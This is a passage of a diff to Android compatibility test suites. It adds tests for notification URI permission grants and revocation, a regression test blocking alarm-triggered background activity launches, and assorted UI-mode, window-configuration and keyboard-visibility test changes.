         }
 
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         // no exception this time
         mNotificationManager.shouldHideSilentStatusBarIcons();
     }
@@ -2655,9 +2667,250 @@
         listener.onListenerDisconnected();
     }
 
+    private void performNotificationProviderAction(@NonNull String action) {
+        // Create an intent to launch an activity which just posts or cancels notifications
+        Intent activityIntent = new Intent();
+        activityIntent.setClassName(NOTIFICATIONPROVIDER, RICH_NOTIFICATION_ACTIVITY);
+        activityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        activityIntent.putExtra("action", action);
+        mContext.startActivity(activityIntent);
+    }
+
+    public void testNotificationUriPermissionsGranted() throws Exception {
+        Uri background7Uri = Uri.parse(
+                "content://com.android.test.notificationprovider.provider/background7.png");
+        Uri background8Uri = Uri.parse(
+                "content://com.android.test.notificationprovider.provider/background8.png");
+
+        toggleListenerAccess(true);
+        Thread.sleep(500); // wait for listener to be allowed
+
+        mListener = TestNotificationListener.getInstance();
+        assertNotNull(mListener);
+
+        try {
+            // Post #7
+            performNotificationProviderAction("send-7");
+
+            assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+            assertNotificationCancelled(8, true);
+            assertAccessible(background7Uri);
+            assertInaccessible(background8Uri);
+
+            // Post #8
+            performNotificationProviderAction("send-8");
+
+            assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+            assertEquals(background8Uri, getNotificationBackgroundImageUri(8));
+            assertAccessible(background7Uri);
+            assertAccessible(background8Uri);
+
+            // Cancel #7
+            performNotificationProviderAction("cancel-7");
+
+            assertNotificationCancelled(7, true);
+            assertEquals(background8Uri, getNotificationBackgroundImageUri(8));
+            assertInaccessible(background7Uri);
+            assertAccessible(background8Uri);
+
+            // Cancel #8
+            performNotificationProviderAction("cancel-8");
+
+            assertNotificationCancelled(7, true);
+            assertNotificationCancelled(8, true);
+            assertInaccessible(background7Uri);
+            assertInaccessible(background8Uri);
+
+        } finally {
+            // Clean up -- reset any remaining notifications
+            performNotificationProviderAction("reset");
+            Thread.sleep(500);
+        }
+    }
+
+    public void testNotificationUriPermissionsGrantedToNewListeners() throws Exception {
+        Uri background7Uri = Uri.parse(
+                "content://com.android.test.notificationprovider.provider/background7.png");
+
+        try {
+            // Post #7
+            performNotificationProviderAction("send-7");
+
+            Thread.sleep(500);
+            // Don't have access the notification yet, but we can test the URI
+            assertInaccessible(background7Uri);
+
+            toggleListenerAccess(true);
+            Thread.sleep(500); // wait for listener to be allowed
+
+            mListener = TestNotificationListener.getInstance();
+            assertNotNull(mListener);
+
+            assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+            assertAccessible(background7Uri);
+
+        } finally {
+            // Clean Up -- Cancel #7
+            performNotificationProviderAction("cancel-7");
+            Thread.sleep(500);
+        }
+    }
+
+    public void testNotificationUriPermissionsRevokedFromRemovedListeners() throws Exception {
+        Uri background7Uri = Uri.parse(
+                "content://com.android.test.notificationprovider.provider/background7.png");
+
+        toggleListenerAccess(true);
+        Thread.sleep(500); // wait for listener to be allowed
+
+        try {
+            // Post #7
+            performNotificationProviderAction("send-7");
+
+            mListener = TestNotificationListener.getInstance();
+            assertNotNull(mListener);
+
+            assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+            assertAccessible(background7Uri);
+
+            // Remove the listener to ensure permissions get revoked
+            toggleListenerAccess(false);
+            Thread.sleep(500); // wait for listener to be disabled
+
+            assertInaccessible(background7Uri);
+
+        } finally {
+            // Clean Up -- Cancel #7
+            performNotificationProviderAction("cancel-7");
+            Thread.sleep(500);
+        }
+    }
+
+    private class NotificationListenerConnection implements ServiceConnection {
+        private final Semaphore mSemaphore = new Semaphore(0);
+
+        @Override
+        public void onServiceConnected(ComponentName className, IBinder service) {
+            mNotificationUriAccessService = INotificationUriAccessService.Stub.asInterface(service);
+            mSemaphore.release();
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName className) {
+            mNotificationUriAccessService = null;
+        }
+
+        public void waitForService() {
+            try {
+                if (mSemaphore.tryAcquire(5, TimeUnit.SECONDS)) {
+                    return;
+                }
+            } catch (InterruptedException e) {
+            }
+            fail("failed to connec to service");
+        }
+    }
+
+    ;
+
+    public void testNotificationUriPermissionsRevokedOnlyFromRemovedListeners() throws Exception {
+        Uri background7Uri = Uri.parse(
+                "content://com.android.test.notificationprovider.provider/background7.png");
+
+        // Connect to a service in the NotificationListener app which allows us to validate URI
+        // permissions granted to a second app, so that we show that permissions aren't being
+        // revoked too broadly.
+        final Intent intent = new Intent();
+        intent.setComponent(new ComponentName("com.android.test.notificationlistener",
+                "com.android.test.notificationlistener.NotificationUriAccessService"));
+        NotificationListenerConnection connection = new NotificationListenerConnection();
+        mContext.bindService(intent, connection, Context.BIND_AUTO_CREATE);
+        connection.waitForService();
+
+        // Before starting the test, make sure the service works, that there is no listener, and
+        // that the URI starts inaccessible to that process.
+        mNotificationUriAccessService.ensureNotificationListenerServiceConnected(false);
+        assertFalse(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+        // Give the NotificationListener app access to notifications, and validate that.
+        toggleExternalListenerAccess(new ComponentName("com.android.test.notificationlistener",
+                "com.android.test.notificationlistener.TestNotificationListener"), true);
+        Thread.sleep(500);
+        mNotificationUriAccessService.ensureNotificationListenerServiceConnected(true);
+        assertFalse(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+        // Give the test app access to notifications, and get that listener
+        toggleListenerAccess(true);
+        Thread.sleep(500); // wait for listener to be allowed
+        mListener = TestNotificationListener.getInstance();
+        assertNotNull(mListener);
+
+        try {
+            try {
+                // Post #7
+                performNotificationProviderAction("send-7");
+
+                // Check that both the test app (this code) and the external app have URI access.
+                assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+                assertAccessible(background7Uri);
+                assertTrue(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+                // Remove the listener to ensure permissions get revoked
+                toggleListenerAccess(false);
+                Thread.sleep(500); // wait for listener to be disabled
+
+                // Ensure that revoking listener access to this one app does not effect the other.
+                assertInaccessible(background7Uri);
+                assertTrue(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+            } finally {
+                // Clean Up -- Cancel #7
+                performNotificationProviderAction("cancel-7");
+                Thread.sleep(500);
+            }
+
+            // Finally, cancelling the permission must still revoke those other permissions.
+            assertFalse(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+        } finally {
+            // Clean Up -- Make sure the external listener is has access revoked
+            toggleExternalListenerAccess(new ComponentName("com.android.test.notificationlistener",
+                    "com.android.test.notificationlistener.TestNotificationListener"), false);
+        }
+    }
+
+    private void assertAccessible(Uri uri)
+            throws IOException {
+        ContentResolver contentResolver = mContext.getContentResolver();
+        try (AssetFileDescriptor fd = contentResolver.openAssetFile(uri, "r", null)) {
+            assertNotNull(fd);
+        } catch (SecurityException e) {
+            throw new AssertionError("URI should be accessible: " + uri, e);
+        }
+    }
+
+    private void assertInaccessible(Uri uri)
+            throws IOException {
+        ContentResolver contentResolver = mContext.getContentResolver();
+        try (AssetFileDescriptor fd = contentResolver.openAssetFile(uri, "r", null)) {
+            fail("URI should be inaccessible: " + uri);
+        } catch (SecurityException e) {
+            // pass
+        }
+    }
+
+    @NonNull
+    private Uri getNotificationBackgroundImageUri(int notificationId) {
+        StatusBarNotification sbn = findPostedNotification(notificationId, true);
+        assertNotNull(sbn);
+        String imageUriString = sbn.getNotification().extras
+                .getString(Notification.EXTRA_BACKGROUND_IMAGE_URI);
+        assertNotNull(imageUriString);
+        return Uri.parse(imageUriString);
+    }
+
     public void testNotificationListener_setNotificationsShown() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -2673,8 +2926,7 @@
         StatusBarNotification sbn2 = findPostedNotification(notificationId2, false);
         mListener.setNotificationsShown(new String[]{ sbn1.getKey() });
 
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), false);
+        toggleListenerAccess(false);
         Thread.sleep(500); // wait for listener to be disallowed
         try {
             mListener.setNotificationsShown(new String[]{ sbn2.getKey() });
@@ -2685,8 +2937,7 @@
     }
 
     public void testNotificationListener_getNotificationChannels() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -2701,8 +2952,7 @@
     }
 
     public void testNotificationListener_getNotificationChannelGroups() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -2716,8 +2966,7 @@
     }
 
     public void testNotificationListener_updateNotificationChannel() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -2736,8 +2985,7 @@
     }
 
     public void testNotificationListener_getActiveNotifications() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -2764,8 +3012,7 @@
 
 
     public void testNotificationListener_getCurrentRanking() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -2778,8 +3025,7 @@
     }
 
     public void testNotificationListener_cancelNotifications() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
diff --git a/tests/app/src/android/app/cts/UiModeManagerTest.java b/tests/app/src/android/app/cts/UiModeManagerTest.java
index e877350..b474fb8 100644
--- a/tests/app/src/android/app/cts/UiModeManagerTest.java
+++ b/tests/app/src/android/app/cts/UiModeManagerTest.java
@@ -23,11 +23,13 @@
 import android.content.pm.PackageManager;
 import android.content.res.Configuration;
 import android.os.ParcelFileDescriptor;
+import android.os.UserHandle;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
 import com.android.compatibility.common.util.BatteryUtils;
 import com.android.compatibility.common.util.SettingsUtils;
+import com.android.compatibility.common.util.UserUtils;
 
 import junit.framework.Assert;
 
@@ -108,6 +110,11 @@
     }
 
     public void testNightModeYesPersisted() throws InterruptedException {
+        if (mUiModeManager.isNightModeLocked()) {
+            Log.i(TAG, "testNightModeYesPersisted skipped: night mode is locked");
+            return;
+        }
+
         // Reset the mode to no if it is set to another value
         setNightMode(UiModeManager.MODE_NIGHT_NO);
 
@@ -116,6 +123,11 @@
     }
 
     public void testNightModeAutoPersisted() throws InterruptedException {
+        if (mUiModeManager.isNightModeLocked()) {
+            Log.i(TAG, "testNightModeAutoPersisted skipped: night mode is locked");
+            return;
+        }
+
         // Reset the mode to no if it is set to another value
         setNightMode(UiModeManager.MODE_NIGHT_NO);
 
@@ -125,6 +137,7 @@
 
     public void testNightModeAutoNotPersistedCarMode() {
         if (mUiModeManager.isNightModeLocked()) {
+            Log.i(TAG, "testNightModeAutoNotPersistedCarMode skipped: night mode is locked");
             return;
         }
 
@@ -139,6 +152,7 @@
 
     public void testNightModeInCarModeIsTransient() {
         if (mUiModeManager.isNightModeLocked()) {
+            Log.i(TAG, "testNightModeInCarModeIsTransient skipped: night mode is locked");
             return;
         }
 
@@ -156,6 +170,8 @@
 
     public void testNightModeToggleInCarModeDoesNotChangeSetting() {
         if (mUiModeManager.isNightModeLocked()) {
+            Log.i(TAG, "testNightModeToggleInCarModeDoesNotChangeSetting skipped: "
+                    + "night mode is locked");
             return;
         }
 
@@ -174,6 +190,8 @@
 
     public void testNightModeInCarModeOnPowerSaveIsTransient() throws Throwable {
         if (mUiModeManager.isNightModeLocked() || !BatteryUtils.isBatterySaverSupported()) {
+            Log.i(TAG, "testNightModeInCarModeOnPowerSaveIsTransient skipped: "
+                    + "night mode is locked or battery saver is not supported");
             return;
         }
 
@@ -347,7 +365,7 @@
         int storedModeInt = -1;
         // Settings.Secure.UI_NIGHT_MODE
         for (int i = 0; i < MAX_WAIT_TIME; i += WAIT_TIME_INCR) {
-            String storedMode = SettingsUtils.getSecureSetting("ui_night_mode");
+            String storedMode = getUiNightModeFromSetting();
             storedModeInt = Integer.parseInt(storedMode);
             if (mode == storedModeInt) break;
             try {
@@ -404,4 +422,10 @@
         }
     }
 
+    private String getUiNightModeFromSetting() {
+        String key = "ui_night_mode";
+        return UserUtils.isHeadlessSystemUserMode()
+                ? SettingsUtils.getSecureSettingAsUser(UserHandle.USER_SYSTEM, key)
+                : SettingsUtils.getSecureSetting(key);
+    }
 }
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
index dc5aca6..97457be 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
@@ -304,6 +304,7 @@
         public static final String EXTRA_APP_CONFIG_INFO = "app_config_info";
         public static final String EXTRA_CONFIG_INFO_IN_ON_CREATE = "config_info_in_on_create";
         public static final String EXTRA_DISPLAY_REAL_SIZE = "display_real_size";
+        public static final String EXTRA_SYSTEM_RESOURCES_CONFIG_INFO = "sys_config_info";
     }
 
     /** Extra key constants for {@link android.server.wm.app.FontScaleActivity}. */
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LandscapeOrientationActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LandscapeOrientationActivity.java
index dd1ad87..8ceeab2 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LandscapeOrientationActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LandscapeOrientationActivity.java
@@ -19,9 +19,11 @@
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_APP_CONFIG_INFO;
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_CONFIG_INFO_IN_ON_CREATE;
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_DISPLAY_REAL_SIZE;
+import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_SYSTEM_RESOURCES_CONFIG_INFO;
 
 import android.app.Application;
 import android.content.res.Configuration;
+import android.content.res.Resources;
 import android.graphics.Point;
 import android.hardware.display.DisplayManager;
 import android.os.Bundle;
@@ -50,6 +52,8 @@
                     // own display adjustments.
                     app.getSystemService(DisplayManager.class)
                             .getDisplay(Display.DEFAULT_DISPLAY)));
+            extras.putParcelable(EXTRA_SYSTEM_RESOURCES_CONFIG_INFO,
+                    new ConfigInfo(Resources.getSystem()));
             client.putExtras(extras);
         });
     }
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml b/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml
index 2f8b2dd..e424c5f 100755
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml
@@ -20,6 +20,7 @@
 
     <!-- To enable the app to start activities from the background. -->
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+    <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM"/>
 
     <application android:testOnly="true">
         <receiver
@@ -51,5 +52,7 @@
         <activity
             android:name=".SecondBackgroundActivity"
             android:exported="true" />
+        <activity android:name=".AlarmManagerActivity"
+                  android:exported="true"/>
     </application>
 </manifest>
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/AlarmManagerActivity.java b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/AlarmManagerActivity.java
new file mode 100644
index 0000000..d9bdac8
--- /dev/null
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/AlarmManagerActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.backgroundactivity.appa;
+
+import android.app.Activity;
+import android.app.AlarmManager;
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.provider.Settings;
+
+public class AlarmManagerActivity extends Activity {
+
+    @Override
+    public void onCreate(Bundle b) {
+        super.onCreate(b);
+
+        getSystemService(AlarmManager.class).setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
+                SystemClock.elapsedRealtime() + 30000,
+                PendingIntent.getActivity(this, 0, new Intent(this, BackgroundActivity.class),
+                        PendingIntent.FLAG_IMMUTABLE));
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index 74267e3..fee76a0 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -57,9 +57,9 @@
 import android.os.ResultReceiver;
 import android.platform.test.annotations.Presubmit;
 import android.platform.test.annotations.SystemUserOnly;
+import android.provider.Settings;
 import android.server.wm.backgroundactivity.common.CommonComponents.Event;
 import android.server.wm.backgroundactivity.common.EventReceiver;
-import android.util.Log;
 
 import androidx.annotation.Nullable;
 import androidx.test.filters.FlakyTest;
@@ -92,6 +92,12 @@
 
     private static final String TEST_PACKAGE_APP_A = "android.server.wm.backgroundactivity.appa";
     private static final String TEST_PACKAGE_APP_B = "android.server.wm.backgroundactivity.appb";
+    private static final int ACTIVITY_START_TIMEOUT_MS = 5000;
+    private static final int ALARM_MANAGER_MAX_DELAY_MS = 60000;
+
+    public static final ComponentName APP_A_ALARM_MANAGER_ACTIVITY =
+            new ComponentName(TEST_PACKAGE_APP_A,
+                    "android.server.wm.backgroundactivity.appa.AlarmManagerActivity");
 
     /**
      * Tests can be executed as soon as the device has booted. When that happens the broadcast queue
@@ -465,6 +471,31 @@
         assertTaskStack(new ComponentName[]{APP_A_BACKGROUND_ACTIVITY}, APP_A_BACKGROUND_ACTIVITY);
     }
 
+    @Test
+    public void testAlarmManagerCannotStartBgActivity() throws Exception {
+        // Start the alarm activity which will create a pending intent and ask alarm manager to
+        // run after 30s.
+        Intent intent = new Intent();
+        intent.setComponent(APP_A_ALARM_MANAGER_ACTIVITY);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+        assertTrue("Alarm activity not started", waitUntilForegroundChanged(
+                TEST_PACKAGE_APP_A, true, ACTIVITY_START_TIMEOUT_MS));
+
+        // Start Settings activity.
+        intent = new Intent(Settings.ACTION_SETTINGS);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+        assertTrue("Settings activity not started", waitUntilForegroundChanged(
+                TEST_PACKAGE_APP_A, false, ACTIVITY_START_TIMEOUT_MS));
+
+        // Even Settings app is in foreground, alarm manager should not use Settings foreground
+        // state to launch the pending intent from alarm manager.
+        assertFalse("Test activity is resumed",
+                waitUntilForegroundChanged(TEST_PACKAGE_APP_A, true,
+                        ALARM_MANAGER_MAX_DELAY_MS));
+    }
+
     private Intent getLaunchActivitiesBroadcast(ComponentName... componentNames) {
         Intent broadcastIntent = new Intent(ACTION_LAUNCH_BACKGROUND_ACTIVITIES);
         Intent[] intents = Stream.of(componentNames)
@@ -559,4 +590,24 @@
         intent.putExtra(EVENT_NOTIFIER_EXTRA, eventNotifier);
         mContext.sendBroadcast(intent);
     }
+
+    private boolean waitUntilForegroundChanged(String targetPkg, boolean toBeResumed, int timeout)
+            throws Exception {
+        long startTime = System.currentTimeMillis();
+        while (checkPackageResumed(targetPkg) != toBeResumed) {
+            if (System.currentTimeMillis() - startTime < timeout) {
+                Thread.sleep(100);
+            } else {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    private boolean checkPackageResumed(String pkg) {
+        WindowManagerStateHelper helper = new WindowManagerStateHelper();
+        helper.computeState();
+        return ComponentName.unflattenFromString(
+                helper.getFocusedActivity()).getPackageName().equals(pkg);
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index 859eb29..302c915 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -40,6 +40,7 @@
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_APP_CONFIG_INFO;
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_CONFIG_INFO_IN_ON_CREATE;
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_DISPLAY_REAL_SIZE;
+import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_SYSTEM_RESOURCES_CONFIG_INFO;
 import static android.server.wm.translucentapp26.Components.SDK26_TRANSLUCENT_LANDSCAPE_ACTIVITY;
 import static android.view.Surface.ROTATION_0;
 import static android.view.Surface.ROTATION_180;
@@ -59,6 +60,7 @@
 
 import android.content.ComponentName;
 import android.content.Context;
+import android.content.res.Resources;
 import android.graphics.Point;
 import android.graphics.Rect;
 import android.hardware.display.DisplayManager;
@@ -68,6 +70,7 @@
 import android.server.wm.CommandSession.ConfigInfo;
 import android.server.wm.CommandSession.SizeInfo;
 import android.server.wm.TestJournalProvider.TestJournalContainer;
+import android.util.DisplayMetrics;
 import android.view.Display;
 
 import org.junit.Test;
@@ -469,6 +472,9 @@
         final Point onCreateRealDisplaySize = extras.getParcelable(EXTRA_DISPLAY_REAL_SIZE);
         final ConfigInfo onCreateConfigInfo = extras.getParcelable(EXTRA_CONFIG_INFO_IN_ON_CREATE);
         final SizeInfo onCreateSize = onCreateConfigInfo.sizeInfo;
+        final ConfigInfo globalConfigInfo =
+                extras.getParcelable(EXTRA_SYSTEM_RESOURCES_CONFIG_INFO);
+        final SizeInfo globalSizeInfo = globalConfigInfo.sizeInfo;
 
         assertEquals("The last reported size should be the same as the one from onCreate",
                 reportedSizes, onCreateConfigInfo.sizeInfo);
@@ -482,6 +488,10 @@
                 expectedRotation, onCreateConfigInfo.rotation);
         assertEquals("The application should get the final display rotation in onCreate",
                 expectedRotation, appConfigInfo.rotation);
+        assertEquals("The orientation of application must be landscape",
+                ORIENTATION_LANDSCAPE, appConfigInfo.sizeInfo.orientation);
+        assertEquals("The orientation of system resources must be landscape",
+                ORIENTATION_LANDSCAPE, globalSizeInfo.orientation);
         assertEquals("The activity should get the final display size in onCreate",
                 expectedRealDisplaySize, onCreateRealDisplaySize);
 
@@ -490,6 +500,13 @@
                 onCreateSize.displayWidth > onCreateSize.displayHeight);
         assertEquals("The application should get the same orientation", isLandscape,
                 appConfigInfo.sizeInfo.displayWidth > appConfigInfo.sizeInfo.displayHeight);
+        assertEquals("The app display metrics must be landscape", isLandscape,
+                appConfigInfo.sizeInfo.metricsWidth > appConfigInfo.sizeInfo.metricsHeight);
+
+        final DisplayMetrics globalMetrics = Resources.getSystem().getDisplayMetrics();
+        assertEquals("The display metrics of system resources must be landscape",
+                new Point(globalMetrics.widthPixels, globalMetrics.heightPixels),
+                new Point(globalSizeInfo.metricsWidth, globalSizeInfo.metricsHeight));
     }
 
     @Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
index 6ad0dc1..bd415bf 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
@@ -23,6 +23,7 @@
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
@@ -60,6 +61,18 @@
     }
 
     /**
+     * Tests that config_remoteInsetsControllerControlsSystemBars is not set to true for
+     * non-automotive devices.
+     */
+    @Test
+    public void testRemoteInsetsControllerNotControlSystemBarsForNonAutoDevies() {
+        assumeFalse(isCar());
+
+        assertFalse("Non auto devices should not set config_remoteInsetsControllerControlsSystemBars",
+                remoteInsetsControllerControlsSystemBars());
+    }
+
+    /**
      * Tests that secondary display has override configuration set.
      */
     @Test
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 6ca5fc9..f4e7d89 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -1169,6 +1169,11 @@
                 .getBoolean(android.R.bool.config_perDisplayFocusEnabled);
     }
 
+    protected static boolean remoteInsetsControllerControlsSystemBars() {
+        return getInstrumentation().getTargetContext().getResources()
+                .getBoolean(android.R.bool.config_remoteInsetsControllerControlsSystemBars);
+    }
+
     /** @see ObjectTracker#manage(AutoCloseable) */
     protected HomeActivitySession createManagedHomeActivitySession(ComponentName homeActivity) {
         return mObjectTracker.manage(new HomeActivitySession(homeActivity));
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java b/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
index 4039a13..418d298 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
@@ -1023,6 +1023,12 @@
             sizeInfo = new SizeInfo(display, metrics, config);
         }
 
+        public ConfigInfo(Resources res) {
+            final DisplayMetrics metrics = res.getDisplayMetrics();
+            final Configuration config = res.getConfiguration();
+            sizeInfo = new SizeInfo(null /* display */, metrics, config);
+        }
+
         @Override
         public String toString() {
             return "ConfigInfo: {displayId=" + displayId + " rotation=" + rotation
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
index 728d136..0d169e3 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
@@ -16,8 +16,14 @@
 
 package android.view.inputmethod.cts;
 
+import static android.view.View.VISIBLE;
 import static android.view.WindowInsets.Type.ime;
 import static android.view.WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_HIDDEN;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_UNSPECIFIED;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_VISIBLE;
 import static android.view.inputmethod.cts.util.InputMethodVisibilityVerifier.expectImeInvisible;
 import static android.view.inputmethod.cts.util.InputMethodVisibilityVerifier.expectImeVisible;
 import static android.view.inputmethod.cts.util.TestUtils.getOnMainSync;
@@ -75,6 +81,7 @@
 @RunWith(AndroidJUnit4.class)
 public class KeyboardVisibilityControlTest extends EndToEndImeTestBase {
     private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+    private static final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(1);
 
     @Rule
     public final UnlockScreenRule mUnlockScreenRule = new UnlockScreenRule();
@@ -407,6 +414,96 @@
         }
     }
 
+    @Test
+    public void testImeState_EditorDialogLostFocusAfterUnlocked_Unspecified() throws Exception {
+        runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_UNSPECIFIED);
+    }
+
+    @Test
+    public void testImeState_EditorDialogLostFocusAfterUnlocked_Visible() throws Exception {
+        runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_VISIBLE);
+    }
+
+    @Test
+    public void testImeState_EditorDialogLostFocusAfterUnlocked_AlwaysVisible() throws Exception {
+        runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+    }
+
+    @Test
+    public void testImeState_EditorDialogLostFocusAfterUnlocked_Hidden() throws Exception {
+        runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_HIDDEN);
